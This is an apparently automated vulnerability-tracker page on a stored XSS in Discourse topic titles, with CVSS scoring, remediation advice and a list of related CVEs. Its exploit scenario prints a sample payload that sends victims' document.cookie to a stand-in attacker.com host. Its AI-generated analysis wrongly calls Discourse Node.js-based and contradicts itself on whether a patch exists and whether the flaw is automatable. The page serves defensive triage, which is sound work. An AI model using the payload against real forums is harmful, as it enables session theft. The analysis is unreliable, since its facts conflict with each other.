Skip to main content

Discourse CVE-2026-33411

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-20 GitHub_M
5.4
CVSS 3.1 · GitHub Advisory
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N vector indicates network accessibility, low attack complexity, and low privilege requirements (authenticated user), yielding moderate risk with confidentiality and integrity impact limited to a single user's scope. However, this is a stored XSS rather than reflected, meaning the payload persists and affects multiple users who view the malicious topic, significantly increasing real-world impact beyond what CVSS alone suggests. The lack of KEV designation and no reported EPSS data suggest this vulnerability has not yet been actively exploited in the wild or added to known exploited vulnerabilities lists, indicating lower immediate threat. Remediation is straightforward through version updates (patches are available), and the workaround (enforcing Content Security Policy) provides defense-in-depth without requiring immediate patching. From an SSVC perspective, this is automatable if a user can be tricked into clicking a link to a solved topic with a malicious title, but technical impact is limited to session hijacking or credential theft, not system compromise.

Exploit ScenarioDerived

An authenticated attacker with topic creation privileges crafts a new topic with a title containing a stored XSS payload such as '<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">' and marks it as solved. When other authenticated users browse the solved posts stream, their browsers execute the injected JavaScript, exfiltrating session cookies or performing actions on their behalf. Since the attack vector is network-based with low complexity and does not require out-of-band user action beyond normal platform usage (viewing the solved posts stream), any user with forum access viewing the topic becomes a victim, making this a high-impact vulnerability despite the moderate CVSS score.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 20, 2026

A stored cross-site scripting (XSS) vulnerability exists in Discourse's solved posts stream feature where unsanitized topic titles can be persisted and executed in the browser context of authenticated users. The vulnerability affects Discourse versions prior to 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, allowing authenticated attackers to inject malicious JavaScript that executes in the browsers of other users viewing the affected topics. While the CVSS score of 5.4 reflects moderate severity with low impact scope and no availability impact, the attack requires user interaction indirectly through viewing a crafted topic title, making real-world exploitation limited to scenarios where attackers have post creation privileges.

RemediationAI

Immediately upgrade Discourse to version 2026.3.0-latest.1, 2026.2.1, or 2026.1.2 or later depending on your current version track, following the official upgrade documentation at the GitHub security advisory (https://github.com/discourse/discourse/security/advisories/GHSA-j3mm-ghh2-83x2). As an interim workaround while patching is being planned, ensure that Content Security Policy (CSP) is enabled in your Discourse configuration and has not been relaxed to include unsafe-inline or overly permissive script-src directives, which would amplify XSS impact. Additionally, monitor topic creation activity for suspicious titles containing script tags or event handlers, and consider restricting topic creation permissions to trusted user groups until patching is complete. After patching, audit the database for any existing malicious topic titles in the solved posts stream and remove or sanitize them as needed.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability represents a classic stored XSS flaw (CWE-79: Improper Neutralization of Input During Web Page Generation) within Discourse's topic rendering pipeline, specifically in the solved posts stream feature. The root cause stems from insufficient input validation and output encoding of topic titles before they are stored in the database and subsequently rendered in the HTML response. Discourse (cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*) is a Node.js-based discussion platform that dynamically generates topic displays; when topic titles containing malicious JavaScript payloads are not properly sanitized during creation or display, the JavaScript executes with the privileges of the viewing user's session. The solved posts stream is a filtered view that aggregates topics marked as solved, making it a concentrated attack surface for XSS injection.

Know when Discourse gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionGitHub Advisory

Discourse is an open-source discussion platform. Versions prior to 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 have a potential stored XSS in topic titles for the solved posts stream. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. As a workaround, ensure that the Content Security Policy is enabled, and has not been modified in a way which would make it more vulnerable to XSS attacks.

Executive ViewAI

Why It Matters

Organizations using topic titles for the solved posts stream. should be aware of moderate risk from CVE-2026-33411, a cross-site scripting vulnerability rated CVSS 5.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Defer
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Low
Technical Impact
Partial

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)GitHub Advisory

cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*
CVE-2025-48954 HIGH POC
8.1 Jun 25

Discourse versions prior to 3.5.0.beta6 contain a reflected cross-site scripting (XSS) vulnerability in social login fun

CVE-2022-46162 CRITICAL POC
9.8 Nov 30

discourse-bbcode is the official BBCode plugin for Discourse. Rated critical severity (CVSS 9.8), this vulnerability is

CVE-2026-27934 HIGH POC
8.7 Mar 19

Unauthorized information disclosure in Discourse discussion platform versions prior to 2026.3.0-latest.1, 2026.2.1, and

CVE-2024-47773 HIGH POC
8.2 Oct 08

Discourse is an open source platform for community discussion. Rated high severity (CVSS 8.2), this vulnerability is rem

CVE-2026-26265 HIGH POC
7.5 Feb 26

Discourse versions prior to 2025.12.2, 2026.1.1, and 2026.2.0 contain an insecure direct object reference (IDOR) in the

CVE-2021-3138 HIGH POC
7.5 Jan 14

In Discourse 2.7.0 through beta1, a rate-limit bypass leads to a bypass of the 2FA requirement for certain forms. Rated

CVE-2026-26077 MEDIUM POC
6.5 Feb 26

Unauthenticated attackers can submit forged webhook payloads to multiple email provider integrations in Discourse versio

CVE-2023-38706 MEDIUM POC
6.5 Sep 15

Discourse is an open-source discussion platform. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploi

CVE-2024-53991 MEDIUM POC
5.9 Dec 19

Discourse is an open source platform for community discussion. Rated medium severity (CVSS 5.9), this vulnerability is r

CVE-2025-48877 CRITICAL
9.8 Jun 09

Discourse versions prior to 3.4.4 (stable), 3.5.0.beta5 (beta), and 3.5.0.beta6-dev (tests-passed) contain a critical vu

CVE-2023-47121 CRITICAL
9.8 Nov 10

Discourse is an open source platform for community discussion. Rated critical severity (CVSS 9.8), this vulnerability is

CVE-2022-39355 CRITICAL
9.8 Oct 26

Discourse Patreon enables syncronization between Discourse Groups and Patreon rewards. Rated critical severity (CVSS 9.8

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy